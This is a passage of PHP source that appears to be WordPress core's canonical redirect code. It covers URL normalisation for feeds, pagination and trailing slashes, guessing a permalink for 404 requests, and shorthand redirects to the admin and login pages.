				$redirect['path'] = preg_replace( '#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $redirect['path'] );
				// Strip off any existing comment paging.
				$redirect['path'] = preg_replace( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+?(/+)?$#", '/', $redirect['path'] );
			}

			$addl_path    = '';
			$default_feed = get_default_feed();

			if ( is_feed() && in_array( $feed, $wp_rewrite->feeds, true ) ) {
				$addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : '';

				if ( ! is_singular() && get_query_var( 'withcomments' ) ) {
					$addl_path .= 'comments/';
				}

				if ( ( 'rss' === $default_feed && 'feed' === $feed ) || 'rss' === $feed ) {
					$format = ( 'rss2' === $default_feed ) ? '' : 'rss2';
				} else {
					$format = ( $default_feed === $feed || 'feed' === $feed ) ? '' : $feed;
				}

				$addl_path .= user_trailingslashit( 'feed/' . $format, 'feed' );

				$redirect['query'] = remove_query_arg( 'feed', $redirect['query'] );
			} elseif ( is_feed() && 'old' === $feed ) {
				$old_feed_files = array(
					'wp-atom.php'         => 'atom',
					'wp-commentsrss2.php' => 'comments_rss2',
					'wp-feed.php'         => $default_feed,
					'wp-rdf.php'          => 'rdf',
					'wp-rss.php'          => 'rss2',
					'wp-rss2.php'         => 'rss2',
				);

				if ( isset( $old_feed_files[ basename( $redirect['path'] ) ] ) ) {
					$redirect_url = get_feed_link( $old_feed_files[ basename( $redirect['path'] ) ] );

					wp_redirect( $redirect_url, 301 );
					die();
				}
			}

			if ( $paged > 0 ) {
				$redirect['query'] = remove_query_arg( 'paged', $redirect['query'] );

				if ( ! is_feed() ) {
					if ( ! is_single() ) {
						$addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : '';

						if ( $paged > 1 ) {
							$addl_path .= user_trailingslashit( "$wp_rewrite->pagination_base/$paged", 'paged' );
						}
					}
				} elseif ( $paged > 1 ) {
					$redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] );
				}
			}

			$default_comments_page = get_option( 'default_comments_page' );

			if ( get_option( 'page_comments' )
				&& ( 'newest' === $default_comments_page && $cpage > 0
					|| 'newest' !== $default_comments_page && $cpage > 1 )
			) {
				$addl_path  = ( ! empty( $addl_path ) ? trailingslashit( $addl_path ) : '' );
				$addl_path .= user_trailingslashit( $wp_rewrite->comments_pagination_base . '-' . $cpage, 'commentpaged' );

				$redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] );
			}

			// Strip off trailing /index.php/.
			$redirect['path'] = preg_replace( '|/' . preg_quote( $wp_rewrite->index, '|' ) . '/?$|', '/', $redirect['path'] );
			$redirect['path'] = user_trailingslashit( $redirect['path'] );

			if ( ! empty( $addl_path )
				&& $wp_rewrite->using_index_permalinks()
				&& ! str_contains( $redirect['path'], '/' . $wp_rewrite->index . '/' )
			) {
				$redirect['path'] = trailingslashit( $redirect['path'] ) . $wp_rewrite->index . '/';
			}

			if ( ! empty( $addl_path ) ) {
				$redirect['path'] = trailingslashit( $redirect['path'] ) . $addl_path;
			}

			$redirect_url = $redirect['scheme'] . '://' . $redirect['host'] . $redirect['path'];
		}

		if ( 'wp-register.php' === basename( $redirect['path'] ) ) {
			if ( is_multisite() ) {
				/** This filter is documented in wp-login.php */
				$redirect_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) );
			} else {
				$redirect_url = wp_registration_url();
			}

			wp_redirect( $redirect_url, 301 );
			die();
		}
	}

	$is_attachment_redirect = false;

	if ( is_attachment() && ! get_option( 'wp_attachment_pages_enabled' ) ) {
		$attachment_id        = get_query_var( 'attachment_id' );
		$attachment_post      = get_post( $attachment_id );
		$attachment_parent_id = $attachment_post ? $attachment_post->post_parent : 0;
		$attachment_url       = wp_get_attachment_url( $attachment_id );

		if ( $attachment_url !== $redirect_url ) {
			/*
			 * If an attachment is attached to a post, it inherits the parent post's status.
			 * Fetch the parent post to check its status later.
			 */
			if ( $attachment_parent_id ) {
				$redirect_obj = get_post( $attachment_parent_id );
			}

			$redirect_url = $attachment_url;
		}

		$is_attachment_redirect = true;
	}

	$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );

	// Tack on any additional query vars.
	if ( $redirect_url && ! empty( $redirect['query'] ) ) {
		parse_str( $redirect['query'], $_parsed_query );
		$redirect = parse_url( $redirect_url );

		if ( ! empty( $_parsed_query['name'] ) && ! empty( $redirect['query'] ) ) {
			parse_str( $redirect['query'], $_parsed_redirect_query );

			if ( empty( $_parsed_redirect_query['name'] ) ) {
				unset( $_parsed_query['name'] );
			}
		}

		$_parsed_query = array_combine(
			rawurlencode_deep( array_keys( $_parsed_query ) ),
			rawurlencode_deep( array_values( $_parsed_query ) )
		);

		$redirect_url = add_query_arg( $_parsed_query, $redirect_url );
	}

	if ( $redirect_url ) {
		$redirect = parse_url( $redirect_url );
	}

	// www.example.com vs. example.com
	$user_home = parse_url( home_url() );

	if ( ! empty( $user_home['host'] ) ) {
		$redirect['host'] = $user_home['host'];
	}

	if ( empty( $user_home['path'] ) ) {
		$user_home['path'] = '/';
	}

	// Handle ports.
	if ( ! empty( $user_home['port'] ) ) {
		$redirect['port'] = $user_home['port'];
	} else {
		unset( $redirect['port'] );
	}

	// Trailing /index.php.
	$redirect['path'] = preg_replace( '|/' . preg_quote( $wp_rewrite->index, '|' ) . '/*?$|', '/', $redirect['path'] );

	$punctuation_pattern = implode(
		'|',
		array_map(
			'preg_quote',
			array(
				' ',
				'%20',  // Space.
				'!',
				'%21',  // Exclamation mark.
				'"',
				'%22',  // Double quote.
				"'",
				'%27',  // Single quote.
				'(',
				'%28',  // Opening bracket.
				')',
				'%29',  // Closing bracket.
				',',
				'%2C',  // Comma.
				'.',
				'%2E',  // Period.
				';',
				'%3B',  // Semicolon.
				'{',
				'%7B',  // Opening curly bracket.
				'}',
				'%7D',  // Closing curly bracket.
				'%E2%80%9C', // Opening curly quote.
				'%E2%80%9D', // Closing curly quote.
			)
		)
	);

	// Remove trailing spaces and end punctuation from the path.
	$redirect['path'] = preg_replace( "#($punctuation_pattern)+$#", '', $redirect['path'] );

	if ( ! empty( $redirect['query'] ) ) {
		// Remove trailing spaces and end punctuation from certain terminating query string args.
		$redirect['query'] = preg_replace( "#((^|&)(p|page_id|cat|tag)=[^&]*?)($punctuation_pattern)+$#", '$1', $redirect['query'] );

		// Clean up empty query strings.
		$redirect['query'] = trim( preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query'] ), '&' );

		// Redirect obsolete feeds.
		$redirect['query'] = preg_replace( '#(^|&)feed=rss(&|$)#', '$1feed=rss2$2', $redirect['query'] );

		// Remove redundant leading ampersands.
		$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
	}

	// Strip /index.php/ when we're not using PATHINFO permalinks.
	if ( ! $wp_rewrite->using_index_permalinks() ) {
		$redirect['path'] = str_replace( '/' . $wp_rewrite->index . '/', '/', $redirect['path'] );
	}

	// Trailing slashes.
	if ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks()
		&& ! $is_attachment_redirect
		&& ! is_404() && ( ! is_front_page() || is_front_page() && get_query_var( 'paged' ) > 1 )
	) {
		$user_ts_type = '';

		if ( get_query_var( 'paged' ) > 0 ) {
			$user_ts_type = 'paged';
		} else {
			foreach ( array( 'single', 'category', 'page', 'day', 'month', 'year', 'home' ) as $type ) {
				$func = 'is_' . $type;
				if ( call_user_func( $func ) ) {
					$user_ts_type = $type;
					break;
				}
			}
		}

		$redirect['path'] = user_trailingslashit( $redirect['path'], $user_ts_type );
	} elseif ( is_front_page() ) {
		$redirect['path'] = trailingslashit( $redirect['path'] );
	}

	// Remove trailing slash for robots.txt or sitemap requests.
	if ( is_robots()
		|| ! empty( get_query_var( 'sitemap' ) ) || ! empty( get_query_var( 'sitemap-stylesheet' ) )
	) {
		$redirect['path'] = untrailingslashit( $redirect['path'] );
	}

	// Strip multiple slashes out of the URL.
	if ( str_contains( $redirect['path'], '//' ) ) {
		$redirect['path'] = preg_replace( '|/+|', '/', $redirect['path'] );
	}

	// Always trailing slash the Front Page URL.
	if ( trailingslashit( $redirect['path'] ) === trailingslashit( $user_home['path'] ) ) {
		$redirect['path'] = trailingslashit( $redirect['path'] );
	}

	$original_host_low = strtolower( $original['host'] );
	$redirect_host_low = strtolower( $redirect['host'] );

	/*
	 * Ignore differences in host capitalization, as this can lead to infinite redirects.
	 * Only redirect no-www <=> yes-www.
	 */
	if ( $original_host_low === $redirect_host_low
		|| ( 'www.' . $original_host_low !== $redirect_host_low
			&& 'www.' . $redirect_host_low !== $original_host_low )
	) {
		$redirect['host'] = $original['host'];
	}

	$compare_original = array( $original['host'], $original['path'] );

	if ( ! empty( $original['port'] ) ) {
		$compare_original[] = $original['port'];
	}

	if ( ! empty( $original['query'] ) ) {
		$compare_original[] = $original['query'];
	}

	$compare_redirect = array( $redirect['host'], $redirect['path'] );

	if ( ! empty( $redirect['port'] ) ) {
		$compare_redirect[] = $redirect['port'];
	}

	if ( ! empty( $redirect['query'] ) ) {
		$compare_redirect[] = $redirect['query'];
	}

	if ( $compare_original !== $compare_redirect ) {
		$redirect_url = $redirect['scheme'] . '://' . $redirect['host'];

		if ( ! empty( $redirect['port'] ) ) {
			$redirect_url .= ':' . $redirect['port'];
		}

		$redirect_url .= $redirect['path'];

		if ( ! empty( $redirect['query'] ) ) {
			$redirect_url .= '?' . $redirect['query'];
		}
	}

	if ( ! $redirect_url || $redirect_url === $requested_url ) {
		return;
	}

	// Hex-encoded octets are case-insensitive.
	if ( str_contains( $requested_url, '%' ) ) {
		if ( ! function_exists( 'lowercase_octets' ) ) {
			/**
			 * Converts the first hex-encoded octet match to lowercase.
			 *
			 * @since 3.1.0
			 * @ignore
			 *
			 * @param array $matches Hex-encoded octet matches for the requested URL.
			 * @return string Lowercased version of the first match.
			 */
			function lowercase_octets( $matches ) {
				return strtolower( $matches[0] );
			}
		}

		$requested_url = preg_replace_callback( '|%[a-fA-F0-9][a-fA-F0-9]|', 'lowercase_octets', $requested_url );
	}

	if ( $redirect_obj instanceof WP_Post ) {
		$post_status_obj = get_post_status_object( get_post_status( $redirect_obj ) );
		/*
		 * Unset the redirect object and URL if they are not readable by the user.
		 * This condition is a little confusing as the condition needs to pass if
		 * the post is not readable by the user. That's why there are ! (not) conditions
		 * throughout.
		 */
		if (
			// Private post statuses only redirect if the user can read them.
			! (
				$post_status_obj->private &&
				current_user_can( 'read_post', $redirect_obj->ID )
			) &&
			// For other posts, only redirect if publicly viewable.
			! is_post_publicly_viewable( $redirect_obj )
		) {
			$redirect_obj = false;
			$redirect_url = false;
		}
	}

	/**
	 * Filters the canonical redirect URL.
	 *
	 * Returning false to this filter will cancel the redirect.
	 *
	 * @since 2.3.0
	 *
	 * @param string $redirect_url  The redirect URL.
	 * @param string $requested_url The requested URL.
	 */
	$redirect_url = apply_filters( 'redirect_canonical', $redirect_url, $requested_url );

	// Yes, again -- in case the filter aborted the request.
	if ( ! $redirect_url || strip_fragment_from_url( $redirect_url ) === strip_fragment_from_url( $requested_url ) ) {
		return;
	}

	if ( $do_redirect ) {
		// Protect against chained redirects.
		if ( ! redirect_canonical( $redirect_url, false ) ) {
			wp_redirect( $redirect_url, 301 );
			exit;
		} else {
			// Debug.
			// die("1: $redirect_url<br />2: " . redirect_canonical( $redirect_url, false ) );
			return;
		}
	} else {
		return $redirect_url;
	}
}

/**
 * Removes arguments from a query string if they are not present in a URL
 * DO NOT use this in plugin code.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $query_string
 * @param array  $args_to_check
 * @param string $url
 * @return string The altered query string
 */
function _remove_qs_args_if_not_in_url( $query_string, array $args_to_check, $url ) {
	$parsed_url = parse_url( $url );

	if ( ! empty( $parsed_url['query'] ) ) {
		parse_str( $parsed_url['query'], $parsed_query );

		foreach ( $args_to_check as $qv ) {
			if ( ! isset( $parsed_query[ $qv ] ) ) {
				$query_string = remove_query_arg( $qv, $query_string );
			}
		}
	} else {
		$query_string = remove_query_arg( $args_to_check, $query_string );
	}

	return $query_string;
}

/**
 * Strips the #fragment from a URL, if one is present.
 *
 * @since 4.4.0
 *
 * @param string $url The URL to strip.
 * @return string The altered URL.
 */
function strip_fragment_from_url( $url ) {
	$parsed_url = wp_parse_url( $url );

	if ( ! empty( $parsed_url['host'] ) ) {
		$url = '';

		if ( ! empty( $parsed_url['scheme'] ) ) {
			$url = $parsed_url['scheme'] . ':';
		}

		$url .= '//' . $parsed_url['host'];

		if ( ! empty( $parsed_url['port'] ) ) {
			$url .= ':' . $parsed_url['port'];
		}

		if ( ! empty( $parsed_url['path'] ) ) {
			$url .= $parsed_url['path'];
		}

		if ( ! empty( $parsed_url['query'] ) ) {
			$url .= '?' . $parsed_url['query'];
		}
	}

	return $url;
}

/**
 * Attempts to guess the correct URL for a 404 request based on query vars.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string|false The correct URL if one is found. False on failure.
 */
function redirect_guess_404_permalink() {
	global $wpdb;

	/**
	 * Filters whether to attempt to guess a redirect URL for a 404 request.
	 *
	 * Returning a false value from the filter will disable the URL guessing
	 * and return early without performing a redirect.
	 *
	 * @since 5.5.0
	 *
	 * @param bool $do_redirect_guess Whether to attempt to guess a redirect URL
	 *                                for a 404 request. Default true.
	 */
	if ( false === apply_filters( 'do_redirect_guess_404_permalink', true ) ) {
		return false;
	}

	/**
	 * Short-circuits the redirect URL guessing for 404 requests.
	 *
	 * Returning a non-null value from the filter will effectively short-circuit
	 * the URL guessing, returning the passed value instead.
	 *
	 * @since 5.5.0
	 *
	 * @param null|string|false $pre Whether to short-circuit guessing the redirect for a 404.
	 *                               Default null to continue with the URL guessing.
	 */
	$pre = apply_filters( 'pre_redirect_guess_404_permalink', null );
	if ( null !== $pre ) {
		return $pre;
	}

	if ( get_query_var( 'name' ) ) {
		$publicly_viewable_statuses   = array_filter( get_post_stati(), 'is_post_status_viewable' );
		$publicly_viewable_post_types = array_filter( get_post_types( array( 'exclude_from_search' => false ) ), 'is_post_type_viewable' );

		/**
		 * Filters whether to perform a strict guess for a 404 redirect.
		 *
		 * Returning a truthy value from the filter will redirect only exact post_name matches.
		 *
		 * @since 5.5.0
		 *
		 * @param bool $strict_guess Whether to perform a strict guess. Default false (loose guess).
		 */
		$strict_guess = apply_filters( 'strict_redirect_guess_404_permalink', false );

		if ( $strict_guess ) {
			$where = $wpdb->prepare( 'post_name = %s', get_query_var( 'name' ) );
		} else {
			$where = $wpdb->prepare( 'post_name LIKE %s', $wpdb->esc_like( get_query_var( 'name' ) ) . '%' );
		}

		// If any of post_type, year, monthnum, or day are set, use them to refine the query.
		if ( get_query_var( 'post_type' ) ) {
			if ( is_array( get_query_var( 'post_type' ) ) ) {
				$post_types = array_intersect( get_query_var( 'post_type' ), $publicly_viewable_post_types );
				if ( empty( $post_types ) ) {
					return false;
				}
				$where .= " AND post_type IN ('" . join( "', '", esc_sql( get_query_var( 'post_type' ) ) ) . "')";
			} else {
				if ( ! in_array( get_query_var( 'post_type' ), $publicly_viewable_post_types, true ) ) {
					return false;
				}
				$where .= $wpdb->prepare( ' AND post_type = %s', get_query_var( 'post_type' ) );
			}
		} else {
			$where .= " AND post_type IN ('" . implode( "', '", esc_sql( $publicly_viewable_post_types ) ) . "')";
		}

		if ( get_query_var( 'year' ) ) {
			$where .= $wpdb->prepare( ' AND YEAR(post_date) = %d', get_query_var( 'year' ) );
		}
		if ( get_query_var( 'monthnum' ) ) {
			$where .= $wpdb->prepare( ' AND MONTH(post_date) = %d', get_query_var( 'monthnum' ) );
		}
		if ( get_query_var( 'day' ) ) {
			$where .= $wpdb->prepare( ' AND DAYOFMONTH(post_date) = %d', get_query_var( 'day' ) );
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$post_id = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE $where AND post_status IN ('" . implode( "', '", esc_sql( $publicly_viewable_statuses ) ) . "')" );

		if ( ! $post_id ) {
			return false;
		}

		if ( get_query_var( 'feed' ) ) {
			return get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) );
		} elseif ( get_query_var( 'page' ) > 1 ) {
			return trailingslashit( get_permalink( $post_id ) ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' );
		} else {
			return get_permalink( $post_id );
		}
	}

	return false;
}

/**
 * Redirects a variety of shorthand URLs to the admin.
 *
 * If a user visits example.com/admin, they'll be redirected to /wp-admin.
 * Visiting /login redirects to /wp-login.php, and so on.
 *
 * @since 3.4.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 */
function wp_redirect_admin_locations() {
	global $wp_rewrite;

	if ( ! ( is_404() && $wp_rewrite->using_permalinks() ) ) {
		return;
	}

	$admins = array(
		home_url( 'wp-admin', 'relative' ),
		home_url( 'dashboard', 'relative' ),
		home_url( 'admin', 'relative' ),
		site_url( 'dashboard', 'relative' ),
		site_url( 'admin', 'relative' ),
	);

	if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $admins, true ) ) {
		wp_redirect( admin_url() );
		exit;
	}

	$logins = array(
		home_url( 'wp-login.php', 'relative' ),
		home_url( 'login.php', 'relative' ),
		home_url( 'login', 'relative' ),
		site_url( 'login', 'relative' ),
	);

	if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $logins, true ) ) {
		wp_redirect( wp_login_url() );
		exit;
	}
}